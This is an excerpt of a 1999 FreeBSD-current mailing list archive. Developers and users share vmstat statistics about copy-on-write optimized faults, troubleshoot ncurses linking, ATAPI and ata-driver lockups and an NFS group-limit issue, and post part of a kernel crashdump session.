redundant vm object that "copy-on-write > optimized faults" applies to.) > > If I don't hear anything, I plan to remove the vestiges of this > "optimization" from the vm fault handler. Those "about six months" can you be more specific ? $ uname -a FreeBSD pebbles.tele.dk 4.0-CURRENT FreeBSD 4.0-CURRENT #2: Thu Apr 22 11:52:50 CEST 1999 root@pebbles.nms.tele.dk:/usr/src/sys/compile/PEBBLES i386 $ vmstat -s 242909040 cpu context switches 1764534458 device interrupts 151630026 software interrupts 361271052 traps 802782672 system calls 229776 swap pager pageins 355954 swap pager pages paged in 121084 swap pager pageouts 252874 swap pager pages paged out 14474579 vnode pager pageins 34770101 vnode pager pages paged in 0 vnode pager pageouts 0 vnode pager pages paged out 105178 page daemon wakeups 104901019 pages examined by the page daemon 404278 pages reactivated 3711393 copy-on-write faults 199653 copy-on-write optimized faults 69735710 zero fill pages zeroed 11909269 zero fill pages prezeroed 253956 intransit blocking page faults 198695719 total VM faults taken 170612522 pages freed 20 pages freed by daemon 6212764 pages freed by exiting processes 11845 pages active 3420 pages inactive 1289 pages in VM cache 6865 pages wired down 144 pages free 4096 bytes per page 469466776 total name lookups cache hits (87% pos + 0% neg) system 2% per-directory deletions 0%, falsehits 0%, toolong 0% /Jesper -- Jesper Skriver (JS4261-RIPE), Network manager Tele Danmark DataNet, IP section (AS3292) One Unix to rule them all, One Resolver to find them, One IP to bring them all and in the zone to bind them. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 12:56:44 1999 Delivered-To: freebsd-current@freebsd.org Received: from cs.rice.edu (cs.rice.edu [128.42.1.30]) by hub.freebsd.org (Postfix) with ESMTP id 6957E14BD8 for ; Fri, 29 Oct 1999 12:56:31 -0700 (PDT) (envelope-from alc@cs.rice.edu) Received: (from alc@localhost) by cs.rice.edu (8.9.0/8.9.0) id OAA16767; Fri, 29 Oct 1999 14:56:26 -0500 (CDT) Date: Fri, 29 Oct 1999 14:56:25 -0500 From: Alan Cox To: Jesper Skriver Cc: current@freebsd.org Subject: Re: copy-on-write optimized faults Message-ID: <19991029145625.A16685@cs.rice.edu> References: <19991029144743.Z16685@cs.rice.edu> <19991029215155.A98265@skriver.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.5us In-Reply-To: <19991029215155.A98265@skriver.dk>; from Jesper Skriver on Fri, Oct 29, 1999 at 09:51:55PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 29, 1999 at 09:51:55PM +0200, Jesper Skriver wrote: > > Those "about six months" can you be more specific ? > Sorry for being imprecise. It was May 16th. > $ uname -a > FreeBSD pebbles.tele.dk 4.0-CURRENT FreeBSD 4.0-CURRENT #2: Thu Apr 22 11:52:50 CEST 1999 > root@pebbles.nms.tele.dk:/usr/src/sys/compile/PEBBLES i386 > > $ vmstat -s > 242909040 cpu context switches > 1764534458 device interrupts > 151630026 software interrupts > 361271052 traps > 802782672 system calls > 229776 swap pager pageins > 355954 swap pager pages paged in > 121084 swap pager pageouts > 252874 swap pager pages paged out > 14474579 vnode pager pageins > 34770101 vnode pager pages paged in > 0 vnode pager pageouts > 0 vnode pager pages paged out > 105178 page daemon wakeups > 104901019 pages examined by the page daemon > 404278 pages reactivated > 3711393 copy-on-write faults > 199653 copy-on-write optimized faults > 69735710 zero fill pages zeroed > 11909269 zero fill pages prezeroed > 253956 intransit blocking page faults > 198695719 total VM faults taken > 170612522 pages freed > 20 pages freed by daemon > 6212764 pages freed by exiting processes > 11845 pages active > 3420 pages inactive > 1289 pages in VM cache > 6865 pages wired down > 144 pages free > 4096 bytes per page > 469466776 total name lookups > cache hits (87% pos + 0% neg) system 2% per-directory > deletions 0%, falsehits 0%, toolong 0% To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 13:25:56 1999 Delivered-To: freebsd-current@freebsd.org Received: from vip.consys.com (VIP.ConSys.COM [209.141.107.6]) by hub.freebsd.org (Postfix) with ESMTP id ACA3215546 for ; Fri, 29 Oct 1999 13:25:51 -0700 (PDT) (envelope-from rcarter@pinyon.org) Received: (from pinyon@localhost) by vip.consys.com (8.9.3/8.9.1) id NAA07594 for freebsd-current@freebsd.org; Fri, 29 Oct 1999 13:25:47 -0700 (MST) Date: Fri, 29 Oct 1999 13:25:47 -0700 (MST) From: "Russell L. Carter" Message-Id: <199910292025.NAA07594@vip.consys.com> To: freebsd-current@freebsd.org Subject: Re: emacs / ncurses - problem somewhere In-Reply-To: <87904mq8d6.fsf@mired.eh.local> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG |"Russell L. Carter" writes: | |> Yup! And also for 19.34b... I've searched all over for the |> source of this problem, glad to know I'm not alone. However, |> it only affects one of my three -current boxes, so apparently there is |> bit of cruft lying around, but I haven't been able to find |> the sucker causing this. (mergemaster'd repeatedly) | |Are the ones that work linked with an old version of libtermcap.so that |was lying around or are they linked with the new libncurses.so.5 ? ldd emacs on -current with the bug: libncurses.so.5 => /usr/lib/libncurses.so.5 (0x2824a000) ldd emacs on -current without the bug (different system): libtermcap.so.2 => /usr/lib/libtermcap.so.2 (0x1828c000) Russell | |-- |Kevin Street |street@iname.com | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 15:14:54 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.netaxs.com (mail.netaxs.com [207.8.186.26]) by hub.freebsd.org (Postfix) with ESMTP id C2AC7155E0 for ; Fri, 29 Oct 1999 15:14:44 -0700 (PDT) (envelope-from bleez@netaxs.com) Received: from dyn-23.blackbox-2.netaxs.com (dyn-23.blackbox-2.netaxs.com [207.106.60.23]) by mail.netaxs.com (8.8.7/8.8.5) with ESMTP id SAA05257 for ; Fri, 29 Oct 1999 18:14:41 -0400 (EDT) Date: Fri, 29 Oct 1999 18:14:29 -0400 (EDT) From: Bryan Liesner To: freebsd-current@freebsd.org Subject: Missing HP Colorado 8G ATAPI drive Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've had an ATAPI CDROM as master and an HP Colorado tape as slave set up on my system for quite some time now. I recently migrated to 4.0 and I'm using the new ATA drivers. Below is a snip from my kernel config: controller ata0 device atadisk0 device atapicd0 device atapist0 At boot time, the messages show that there are two devices on the channel, but only the CDROM is configured. Any ideas? ata0: Aladdin: two atapi devices on this channel, DMA disabled atapi: MODE_SENSE_BIG - UNIT ATTENTION skey=6 asc=29 ascq=00 error=00 acd0: CDROM drive at ata0 as master acd0: read 687KB/s (6875KB/s), 128KB buffer, PIO acd0: supported read types: CD-R, CD-RW, CD-DA, packet acd0: Audio: play, 255 volume levels acd0: Mechanism: ejectable tray acd0: Medium: no/blank disc inside, unlocked ========================================================== = Bryan D. Liesner LeezSoft Communications, Inc. = = A subsidiary of LeezSoft Inc. = = bleez@netaxs.com Home of the Gipper = ========================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 15:18:22 1999 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 996D215019 for ; Fri, 29 Oct 1999 15:18:12 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id AAA04605 for current@freebsd.org; Sat, 30 Oct 1999 00:18:08 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id ADD37878D; Fri, 29 Oct 1999 23:49:42 +0200 (CEST) Date: Fri, 29 Oct 1999 23:49:42 +0200 From: Ollivier Robert To: current@freebsd.org Subject: Re: copy-on-write optimized faults Message-ID: <19991029234942.A96254@keltia.freenix.fr> Mail-Followup-To: current@freebsd.org References: <19991029144743.Z16685@cs.rice.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0pre2i In-Reply-To: <19991029144743.Z16685@cs.rice.edu> X-Operating-System: FreeBSD 4.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Alan Cox: > I would appreciate it if people running -current would run a "vmstat -s" > and tell me if they see a NON-ZERO value for copy-on-write optimized FreeBSD keltia.freenix.fr 4.0-CURRENT FreeBSD 4.0-CURRENT #74: Thu Sep 9 00:20:51 CEST 1999 roberto@keltia.freenix.fr:/src/src/sys/compile/KELTIA i386 11:48PM up 50 days, 22:57, 5 users, load averages: 0.07, 0.04, 0.05 145213854 cpu context switches 1062263677 device interrupts 91270643 software interrupts 72873693 traps 999862791 system calls 15076 swap pager pageins 40802 swap pager pages paged in 14256 swap pager pageouts 59509 swap pager pages paged out 174053 vnode pager pageins 502157 vnode pager pages paged in 31058 vnode pager pageouts 192036 vnode pager pages paged out 16706 page daemon wakeups 46228799 pages examined by the page daemon 81472 pages reactivated 9492270 copy-on-write faults 29 copy-on-write optimized faults <<<<<<<<< 18936477 zero fill pages zeroed 10633059 zero fill pages prezeroed 17337 intransit blocking page faults 51673604 total VM faults taken 64322187 pages freed 28 pages freed by daemon 20225214 pages freed by exiting processes 17884 pages active 4364 pages inactive 1517 pages in VM cache 7244 pages wired down 507 pages free 4096 bytes per page 379373103 total name lookups cache hits (96% pos + 1% neg) system 0% per-directory deletions 0%, falsehits 0%, toolong 0% -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep 9 00:20:51 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 15:21:19 1999 Delivered-To: freebsd-current@freebsd.org Received: from www.matti.ee (solaris.matti.ee [194.126.98.135]) by hub.freebsd.org (Postfix) with ESMTP id A243115123 for ; Fri, 29 Oct 1999 15:21:11 -0700 (PDT) (envelope-from vallo@matti.ee) Received: from myhakas.matti.ee (myhakas.matti.ee [194.126.114.87]) by www.matti.ee (8.9.3/8.9.3) with ESMTP id BAA08855; Sat, 30 Oct 1999 01:21:01 +0300 (EET DST) Received: by myhakas.matti.ee (Postfix, from userid 1000) id AF0A3101; Sat, 30 Oct 1999 01:21:07 +0300 (EEST) Date: Sat, 30 Oct 1999 01:21:07 +0300 From: Vallo Kallaste To: Alfred Perlstein Cc: #Michael Class , current@FreeBSD.ORG Subject: Re: (vinum?) lockups in strategy routines? Message-ID: <19991030012107.A9964@myhakas.matti.ee> Reply-To: vallo@matti.ee References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Alfred Perlstein on Fri, Oct 29, 1999 at 07:22:58AM -0700 Organization: =?iso-8859-1?Q?AS_Matti_B=FCrootehnika?= Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 29, 1999 at 07:22:58AM -0700, Alfred Perlstein wrote: > On Fri, 29 Oct 1999, #Michael Class wrote: > > > Hello, > > > > just another datapoint. I just installed two new IBM DPTA-343740 > > discs into my System at home. They are configured with striping in vinum. > > Within a day I got two solid lockups with the new ata-drivers. After > > that I switchied to the old wd-driver. Everythings works fine since then. > > Same here, I just compiled a new system with the old wd driver instead > of ata and i'm happily crunching along. Sometime between now and > october 6th something went wrong? I'm using one same IBM disk for our mp3 machine with new ata driver. The machine is an old PPro 150 with 440FX chipset and PIIX3 controller, runs 19991012 snapshot. No need for special setting for harddisk and mostly no problems, except some "disk contact lost" messages. Heh, I just considered to upgrade the OS a bit to get rid of these "disk contact lost" errors, but now I'm warned :) -- Vallo Kallaste vallo@matti.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 15:48:12 1999 Delivered-To: freebsd-current@freebsd.org Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57]) by hub.freebsd.org (Postfix) with ESMTP id 42F751510C for ; Fri, 29 Oct 1999 15:48:04 -0700 (PDT) (envelope-from ticso@mail.cicely.de) Received: from mail.cicely.de (cicely.de [194.231.9.142]) by mail.du.gtn.com (8.9.3/8.9.3) with ESMTP id AAA09784; Sat, 30 Oct 1999 00:41:16 +0200 (MET DST) Received: (from ticso@localhost) by mail.cicely.de (8.9.0/8.9.0) id AAA66292; Sat, 30 Oct 1999 00:47:41 +0200 (CEST) Date: Sat, 30 Oct 1999 00:47:40 +0200 From: Bernd Walter To: Alan Cox Cc: current@FreeBSD.ORG Subject: Re: copy-on-write optimized faults Message-ID: <19991030004740.A66148@cicely7.cicely.de> References: <19991029144743.Z16685@cs.rice.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <19991029144743.Z16685@cs.rice.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 29, 1999 at 02:47:43PM -0500, Alan Cox wrote: > I would appreciate it if people running -current would run a "vmstat -s" > and tell me if they see a NON-ZERO value for copy-on-write optimized > faults. About six months ago, I implemented a simpler and more general > optimization at an earlier "fork in the road". (In effect, I avoid > the creation of the redundant vm object that "copy-on-write > optimized faults" applies to.) > FreeBSD hostname 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Wed Aug 11 11:23:23 MEST 1999 root@hostname:/src-1999-08-11/src/sys/compile/NEWS i386 3325566750 cpu context switches 2596854967 device interrupts 2136604495 software interrupts 1271826739 traps 46150007 system calls 61624 swap pager pageins 112128 swap pager pages paged in 31565 swap pager pageouts 85043 swap pager pages paged out 38840995 vnode pager pageins 186716751 vnode pager pages paged in 0 vnode pager pageouts 0 vnode pager pages paged out 505056 page daemon wakeups 3944380399 pages examined by the page daemon 152840736 pages reactivated 307625181 copy-on-write faults 26 copy-on-write optimized faults 380211274 zero fill pages zeroed 69731544 zero fill pages prezeroed 3214815 intransit blocking page faults 1073175932 total VM faults taken 3678368459 pages freed 22 pages freed by daemon 465592939 pages freed by exiting processes 186149 pages active 21595 pages inactive 9359 pages in VM cache 39949 pages wired down 449 pages free 4096 bytes per page -1570702195 total name lookups cache hits (110% pos + -9% neg) system 0% per-directory deletions 0%, falsehits 0%, toolong 0% Ops - looks like some counters have overun... -- B.Walter COSMO-Project http://www.cosmo-project.de ticso@cicely.de Usergroup info@cosmo-project.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 16: 7:40 1999 Delivered-To: freebsd-current@freebsd.org Received: from [132.197.97.45] (h132-197-97-45.gte.com [132.197.97.45]) by hub.freebsd.org (Postfix) with ESMTP id DD2A814ECC for ; Fri, 29 Oct 1999 16:07:33 -0700 (PDT) (envelope-from ak03@gte.com) Received: (from ak03@localhost) by [132.197.97.45] (8.9.3/8.9.3) id TAA09178; Fri, 29 Oct 1999 19:07:30 -0400 (EDT) (envelope-from ak03) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <19991029144743.Z16685@cs.rice.edu> Date: Fri, 29 Oct 1999 19:07:30 -0400 (EDT) Organization: GTE Laboratories Inc. From: "Alexander N. Kabaev" To: Alan Cox Subject: RE: copy-on-write optimized faults Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG vmstat -s reports these numbers on my computer: 3649151 copy-on-write faults 1 copy-on-write optimized faults On 29-Oct-99 Alan Cox wrote: > I would appreciate it if people running -current would run a "vmstat -s" > and tell me if they see a NON-ZERO value for copy-on-write optimized > faults. About six months ago, I implemented a simpler and more general > optimization at an earlier "fork in the road". (In effect, I avoid > the creation of the redundant vm object that "copy-on-write > optimized faults" applies to.) > > If I don't hear anything, I plan to remove the vestiges of this > "optimization" from the vm fault handler. > > Alan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 17:52:59 1999 Delivered-To: freebsd-current@freebsd.org Received: from cs.rice.edu (cs.rice.edu [128.42.1.30]) by hub.freebsd.org (Postfix) with ESMTP id 2D52C14A19 for ; Fri, 29 Oct 1999 17:52:48 -0700 (PDT) (envelope-from alc@cs.rice.edu) Received: (from alc@localhost) by cs.rice.edu (8.9.0/8.9.0) id TAA24620; Fri, 29 Oct 1999 19:52:43 -0500 (CDT) Date: Fri, 29 Oct 1999 19:52:43 -0500 From: Alan Cox To: Bernd Walter Cc: current@freebsd.org Subject: Re: copy-on-write optimized faults Message-ID: <19991029195243.E28768@cs.rice.edu> References: <19991029144743.Z16685@cs.rice.edu> <19991030004740.A66148@cicely7.cicely.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.5us In-Reply-To: <19991030004740.A66148@cicely7.cicely.de>; from Bernd Walter on Sat, Oct 30, 1999 at 12:47:40AM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Oct 30, 1999 at 12:47:40AM +0200, Bernd Walter wrote: > > 307625181 copy-on-write faults > 26 copy-on-write optimized faults Thanks to Bernd and everyone else who has responded. Unless someone reports a case where the old "optimization" gets applied more often than 1 in ten million copy-on-write faults, I'm going to remove the old code in a few days. At this frequency, the cost of deciding whether or not to apply the optimization on every copy-on-write fault is greater than what is saved those 26 times it is applied. Alan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 18: 1:44 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id D5EA514C88 for ; Fri, 29 Oct 1999 18:01:27 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA24959; Fri, 29 Oct 1999 18:01:22 -0700 (PDT) (envelope-from dillon) Date: Fri, 29 Oct 1999 18:01:22 -0700 (PDT) From: Matthew Dillon Message-Id: <199910300101.SAA24959@apollo.backplane.com> To: Andrew Gallatin Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> <14361.47885.374557.603037@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : > : : > :Thanks, : > : : > :Drew : > : > There should be a response to the rpc either way so my guess is that : > it is a server-side bug. : :It turns out that the user was in 17 groups (DU supports up to 32). :After I removed him from 2 groups & got his group count down to 15, :all was well. : :After I upgrade the NFS server to a more recent -current, I'll test :this again with a user in 17 groups. : :Thanks again, : :Drew Ahhh... I'm glad you found it. I was beginning to scratch my head. NGROUPS_MAX is set to 16 (/usr/src/sys/sys/syslimits.h). You may be able to patch the kernel to up the number of groups by upping the value in that define and recompiling the kernel. I've never tried this myself but it should work. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 18: 9:55 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id D5C0D14C88 for ; Fri, 29 Oct 1999 18:09:42 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id VAA08741; Fri, 29 Oct 1999 21:09:39 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id VAA35329; Fri, 29 Oct 1999 21:09:08 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Fri, 29 Oct 1999 21:09:08 -0400 (EDT) To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client In-Reply-To: <199910300101.SAA24959@apollo.backplane.com> References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> <14361.47885.374557.603037@grasshopper.cs.duke.edu> <199910300101.SAA24959@apollo.backplane.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14362.17633.665446.268216@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon writes: > > Ahhh... I'm glad you found it. I was beginning to scratch my head. > > NGROUPS_MAX is set to 16 (/usr/src/sys/sys/syslimits.h). You may > be able to patch the kernel to up the number of groups by upping > the value in that define and recompiling the kernel. I've never > tried this myself but it should work. Will a recent -current behave the same way, or will it return something to the DU box? Eg, will I need to worry about uppting NGROUPS_MAX when I upgrade the box to a more recent kernel? Thanks, Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 18:56:53 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7474A14D45 for ; Fri, 29 Oct 1999 18:56:45 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA25319; Fri, 29 Oct 1999 18:56:42 -0700 (PDT) (envelope-from dillon) Date: Fri, 29 Oct 1999 18:56:42 -0700 (PDT) From: Matthew Dillon Message-Id: <199910300156.SAA25319@apollo.backplane.com> To: Andrew Gallatin Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> <14361.47885.374557.603037@grasshopper.cs.duke.edu> <199910300101.SAA24959@apollo.backplane.com> <14362.17633.665446.268216@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Matthew Dillon writes: : > : > Ahhh... I'm glad you found it. I was beginning to scratch my head. : > : > NGROUPS_MAX is set to 16 (/usr/src/sys/sys/syslimits.h). You may : > be able to patch the kernel to up the number of groups by upping : > the value in that define and recompiling the kernel. I've never : > tried this myself but it should work. : :Will a recent -current behave the same way, or will it return :something to the DU box? : :Eg, will I need to worry about uppting NGROUPS_MAX when I upgrade the :box to a more recent kernel? : :Thanks, : :Drew :------------------------------------------------------------------------------ :Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin :Duke University Email: gallatin@cs.duke.edu :Department of Computer Science Phone: (919) 660-6590 I don't know, I don't have a non-FreeBSD box to test with. I would be interested in knowing the answer! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 19:16:43 1999 Delivered-To: freebsd-current@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id E316114D38 for ; Fri, 29 Oct 1999 19:16:28 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id WAA09580; Fri, 29 Oct 1999 22:16:27 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id WAA35416; Fri, 29 Oct 1999 22:15:57 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Fri, 29 Oct 1999 22:15:56 -0400 (EDT) To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: odd NFS behaviour with DU 4.F client In-Reply-To: <199910300156.SAA25319@apollo.backplane.com> References: <14360.50663.727201.679421@grasshopper.cs.duke.edu> <199910282225.PAA12530@apollo.backplane.com> <14361.47885.374557.603037@grasshopper.cs.duke.edu> <199910300101.SAA24959@apollo.backplane.com> <14362.17633.665446.268216@grasshopper.cs.duke.edu> <199910300156.SAA25319@apollo.backplane.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14362.21671.551673.689732@grasshopper.cs.duke.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon writes: > :Eg, will I need to worry about uppting NGROUPS_MAX when I upgrade the > :box to a more recent kernel? > : <..> > I don't know, I don't have a non-FreeBSD box to test with. I would > be interested in knowing the answer! I'll let you know. It might be a while though... Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Oct 29 20: 0: 6 1999 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 2BEFF14D0D for ; Fri, 29 Oct 1999 19:59:54 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id UAA06679 for ; Fri, 29 Oct 1999 20:22:49 -0700 (PDT) Date: Fri, 29 Oct 1999 20:22:49 -0700 (PDT) From: Alfred Perlstein To: current@freebsd.org Subject: crashdump in re lockups. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I wasn't able to get a crashdump last time i locked up, but it was defiently in the same spot, now i have a crashdump. The panic is because I attempted to view a datastructure I shouldn't have after it locked up, the lockup point I assume is at frame 11, 12 or 13. Netscape seems to be able to tickle this one pretty well. Script started on Fri Oct 29 23:52:18 1999 /home/crash > gdb -k /kernel vmcore.1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you ar= e welcome to change it and/or distribute copies of it under certain condition= s. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... SMP 2 cpus IdlePTD 3579904 initial pcb at 2eb2e0 panicstr: from debugger panic messages: --- Fatal trap 12: page fault while in kernel mode mp_lock =3D 00000003; cpuid =3D 0; lapic.id =3D 01000000 fault virtual address=09=3D 0x1d fault code=09=09=3D supervisor read, page not present instruction pointer=09=3D 0x8:0xc0188345 stack pointer=09 =3D 0x10:0xd8cf2b48 frame pointer=09 =3D 0x10:0xd8cf2b50 code segment=09=09=3D base 0x0, limit 0xfffff, type 0x1b =09=09=09=3D DPL 0, pres 1, def32 1, gran 1 processor eflags=09=3D interrupt enabled, resume, IOPL =3D 0 current process=09=09=3D 560 (netscape) interrupt mask=09=09=3D bio <- SMP: XXX panic: from debugger mp_lock =3D 00000003; cpuid =3D 0; lapic.id =3D 01000000 panic: from debugger mp_lock =3D 00000004; cpuid =3D 0; lapic.id =3D 01000000 boot() called on cpu#0 dumping to dev #da/0x20001, offset 24 dump 511 510 509 508 507 506 505 504 503 502 501 500 499 498 497 496 495 49= 4 493 492 491 490 489 488 487 486 485 484 483 482 481 480 479 478 477 476 4= 75 474 473 472 471 470 469 468 467 466 465 464 463 462 461 460 459 458 457 = 456 455 454 453 452 451 450 449 448 447 446 445 444 443 442 441 440 439 438= 437 436 435 434 433 432 431 430 429 428 427 426 425 424 423 422 421 420 41= 9 418 417 416 415 414 413 412 411 410 409 408 407 406 405 404 403 402 401 4= 00 399 398 397 396 395 394 393 392 391 390 389 388 387 386 385 384 383 382 = 381 380 379 378 377 376 375 374 373 372 371 370 369 368 367 366 365 364 363= 362 361 360 359 358 357 356 355 354 353 352 351 350 349 348 347 346 345 34= 4 343 342 341 340 339 338 337 336 335 334 333 332 331 330 329 328 327 326 3= 25 324 323 322 321 320 319 318 317 316 315 314 313 312 311 310 309 308 307 = 306 305 304 303 302 301 300 299 298 297 296 295 294 293 292 291 290 289 288= 287 286 285 284 283 282 281 280 279 278 277 276 275 274 273 272 271 270 26= 9 268 267 266 265 264 263 262 261 260 259 258 257 256 255 254 253 252 251 2= 50 249 248 247 246 245 244 243 242 241 240 239 238 237 236 235 234 233 232 = 231 230 229 228 227 226 225 224 223 222 221 220 219 218 217 216 215 214 213= 